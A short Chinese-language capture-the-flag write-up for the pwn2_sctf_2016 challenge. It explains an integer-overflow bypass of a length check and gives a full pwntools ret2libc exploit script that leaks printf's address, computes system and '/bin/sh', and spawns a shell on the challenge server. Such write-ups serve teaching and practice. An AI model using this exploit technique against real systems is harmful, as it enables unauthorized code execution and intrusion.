pwn2_sctf_2016
例行检查,32位,开启了NX保护。
运行一下
用IDA打开。main函数调用了vuln函数
接受a2个长度的字符串并放到vuln函数的缓冲区内部,但是a2传入的值类型是unsigned int,而前面判断长度的类型是int,这边可以输入负数来达到溢出的效果(整数溢出)
我们可以通过,输入负数,绕过长度限制,造成溢出,再利用printf函数泄露程序的libc版本,去算出system和‘/bin/sh‘的地址,最后溢出覆盖返回地址去执行system(‘/bin/sh’)
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',29021)
elf=ELF('./pwn2_sctf_2016')
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']
#进行整数溢出,-1会变成2^32-1
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))
libc=LibcSearcher('printf',printf_addr)
#计算system和bin/sh的地址
offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
#泄露libc
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)
r.interactive()